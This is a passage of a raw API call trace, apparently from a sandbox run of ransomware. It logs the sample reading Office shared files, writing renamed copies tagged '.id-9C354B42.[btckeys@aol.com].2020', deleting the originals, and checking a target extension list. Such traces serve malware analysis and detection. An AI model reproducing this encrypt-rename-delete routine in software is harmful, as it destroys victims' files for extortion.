SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0076.094] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0076.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0076.548] GetLastError () returned 0x0 [0076.548] ReadFile (in: hFile=0x1d4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x978, lpOverlapped=0x0) returned 1 [0076.550] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x980, lpOverlapped=0x0) returned 1 [0076.551] ReadFile (in: hFile=0x1d4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0076.551] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0076.552] SetEndOfFile (hFile=0x1b0) returned 1 [0076.552] CloseHandle (hObject=0x1b0) returned 1 [0076.552] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0076.552] SetEndOfFile (hFile=0x1d4) returned 1 [0076.553] CloseHandle (hObject=0x1d4) returned 1 [0076.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0076.553] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1 [0076.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0076.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0076.553] lstrlenW (lpString=".doc") returned 4 [0076.553] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0076.553] lstrlenW (lpString=".docx") returned 5 [0076.553] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0076.553] lstrlenW (lpString=".pdf") returned 4 [0076.553] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0076.554] lstrlenW (lpString=".xls") returned 4 [0076.554] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0076.554] lstrlenW (lpString=".xlsx") returned 5 [0076.554] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0076.554] lstrlenW (lpString=".ppt") returned 4 [0076.554] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0076.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0076.554] lstrlenW (lpString=".zip") returned 4 [0076.554] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0076.554] lstrlenW (lpString=".rar") returned 4 [0076.554] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0076.554] lstrlenW (lpString=".bz2") returned 4 [0076.554] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0076.554] lstrlenW (lpString=".7z") returned 3 [0076.554] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0076.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0076.554] lstrlenW (lpString=".dbf") returned 4 [0076.554] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0076.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0076.554] lstrlenW (lpString=".1cd") returned 4 [0076.554] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0076.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0076.554] lstrlenW (lpString=".jpg") returned 4 [0076.554] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0076.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0076.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0076.554] lstrlenW (lpString=".doc") returned 4 [0076.554] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0076.554] lstrlenW (lpString=".docx") returned 5 [0076.554] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0076.554] lstrlenW (lpString=".pdf") returned 4 [0076.554] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0076.554] lstrlenW (lpString=".xls") returned 4 [0076.554] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0076.554] lstrlenW (lpString=".xlsx") returned 5 [0076.555] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0076.555] lstrlenW (lpString=".ppt") returned 4 [0076.555] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0076.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0076.555] lstrlenW (lpString=".zip") returned 4 [0076.555] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0076.555] lstrlenW (lpString=".rar") returned 4 [0076.555] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0076.555] lstrlenW (lpString=".bz2") returned 4 [0076.555] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0076.555] lstrlenW (lpString=".7z") returned 3 [0076.555] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0076.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0076.555] lstrlenW (lpString=".dbf") returned 4 [0076.555] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0076.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0076.555] lstrlenW (lpString=".1cd") returned 4 [0076.555] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0076.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0076.555] lstrlenW (lpString=".jpg") returned 4 [0076.555] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0076.555] lstrcmpiW (lpString1=".htm", lpString2=".2020") returned 1 [0076.555] lstrlenW (lpString="Roses.htm") returned 9 [0076.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0077.459] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=233) returned 1 [0077.459] CloseHandle (hObject=0x168) returned 1 [0077.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0077.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0077.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0077.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0077.459] lstrlenW (lpString=".doc") returned 4 [0077.459] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0077.459] lstrlenW (lpString=".docx") returned 5 [0077.459] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0077.459] lstrlenW (lpString=".pdf") returned 4 [0077.459] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0077.459] lstrlenW (lpString=".xls") returned 4 [0077.459] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0077.459] lstrlenW (lpString=".xlsx") returned 5 [0077.459] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0077.460] lstrlenW (lpString=".ppt") returned 4 [0077.460] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0077.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0077.460] lstrlenW (lpString=".zip") returned 4 [0077.460] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0077.460] lstrlenW (lpString=".rar") returned 4 [0077.460] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0077.460] lstrlenW (lpString=".bz2") returned 4 [0077.460] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0077.460] lstrlenW (lpString=".7z") returned 3 [0077.460] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0077.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0077.460] lstrlenW (lpString=".dbf") returned 4 [0077.460] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0077.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0077.460] lstrlenW (lpString=".1cd") returned 4 [0077.460] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0077.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0077.460] lstrlenW (lpString=".jpg") returned 4 [0077.460] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0077.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0077.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0077.460] lstrlenW (lpString=".doc") returned 4 [0077.460] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0077.460] lstrlenW (lpString=".docx") returned 5 [0077.460] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0077.460] lstrlenW (lpString=".pdf") returned 4 [0077.461] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0077.461] lstrlenW (lpString=".xls") returned 4 [0077.461] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0077.461] lstrlenW (lpString=".xlsx") returned 5 [0077.461] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0077.461] lstrlenW (lpString=".ppt") returned 4 [0077.461] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0077.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0077.461] lstrlenW (lpString=".zip") returned 4 [0077.461] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0077.461] lstrlenW (lpString=".rar") returned 4 [0077.461] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0077.461] lstrlenW (lpString=".bz2") returned 4 [0077.461] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0077.461] lstrlenW (lpString=".7z") returned 3 [0077.461] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0077.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0077.461] lstrlenW (lpString=".dbf") returned 4 [0077.461] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0077.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0077.461] lstrlenW (lpString=".1cd") returned 4 [0077.461] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0077.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0077.461] lstrlenW (lpString=".jpg") returned 4 [0077.461] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0077.462] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0077.462] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0077.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0077.609] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=2848) returned 1 [0077.609] CloseHandle (hObject=0x174) returned 1 [0077.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0077.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0077.610] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0077.610] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0077.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0077.611] GetLastError () returned 0x0 [0077.611] ReadFile (in: hFile=0x174, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xb20, lpOverlapped=0x0) returned 1 [0077.642] WriteFile (in: hFile=0x208, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xb30, lpOverlapped=0x0) returned 1 [0077.644] ReadFile (in: hFile=0x174, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0077.644] WriteFile (in: hFile=0x208, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xea, lpOverlapped=0x0) returned 1 [0077.644] SetEndOfFile (hFile=0x208) returned 1 [0077.644] CloseHandle (hObject=0x208) returned 1 [0077.644] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0077.644] SetEndOfFile (hFile=0x174) returned 1 [0077.645] CloseHandle (hObject=0x174) returned 1 [0077.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0077.646] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1 [0077.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0077.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0077.646] lstrlenW (lpString=".doc") returned 4 [0077.646] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.646] lstrlenW (lpString=".docx") returned 5 [0077.646] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.646] lstrlenW (lpString=".pdf") returned 4 [0077.646] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.646] lstrlenW (lpString=".xls") returned 4 [0077.646] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.646] lstrlenW (lpString=".xlsx") returned 5 [0077.646] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.646] lstrlenW (lpString=".ppt") returned 4 [0077.646] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0077.647] lstrlenW (lpString=".zip") returned 4 [0077.647] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.647] lstrlenW (lpString=".rar") returned 4 [0077.647] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.647] lstrlenW (lpString=".bz2") returned 4 [0077.647] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.647] lstrlenW (lpString=".7z") returned 3 [0077.647] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0077.647] lstrlenW (lpString=".dbf") returned 4 [0077.647] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0077.647] lstrlenW (lpString=".1cd") returned 4 [0077.647] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0077.647] lstrlenW (lpString=".jpg") returned 4 [0077.647] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0077.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0077.647] lstrlenW (lpString=".doc") returned 4 [0077.647] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.647] lstrlenW (lpString=".docx") returned 5 [0077.647] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.647] lstrlenW (lpString=".pdf") returned 4 [0077.648] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.648] lstrlenW (lpString=".xls") returned 4 [0077.648] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.648] lstrlenW (lpString=".xlsx") returned 5 [0077.648] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.648] lstrlenW (lpString=".ppt") returned 4 [0077.648] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0077.648] lstrlenW (lpString=".zip") returned 4 [0077.648] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.648] lstrlenW (lpString=".rar") returned 4 [0077.648] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.648] lstrlenW (lpString=".bz2") returned 4 [0077.649] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.649] lstrlenW (lpString=".7z") returned 3 [0077.649] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0077.649] lstrlenW (lpString=".dbf") returned 4 [0077.649] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0077.649] lstrlenW (lpString=".1cd") returned 4 [0077.649] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0077.649] lstrlenW (lpString=".jpg") returned 4 [0077.649] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.649] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0077.649] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0077.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0078.412] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=20627) returned 1 [0078.412] CloseHandle (hObject=0x1e4) returned 1 [0078.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0078.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0078.412] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0078.412] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0078.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0078.413] GetLastError () returned 0x0 [0078.413] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x5093, lpOverlapped=0x0) returned 1 [0078.423] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x50a0, lpOverlapped=0x0) returned 1 [0078.424] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0078.425] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.425] SetEndOfFile (hFile=0x204) returned 1 [0078.425] CloseHandle (hObject=0x204) returned 1 [0078.425] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0078.425] SetEndOfFile (hFile=0x1e4) returned 1 [0078.426] CloseHandle (hObject=0x1e4) returned 1 [0078.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0078.427] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1 [0078.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0078.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0078.427] lstrlenW (lpString=".doc") returned 4 [0078.427] lstrcmpiW (lpString1=".doc", 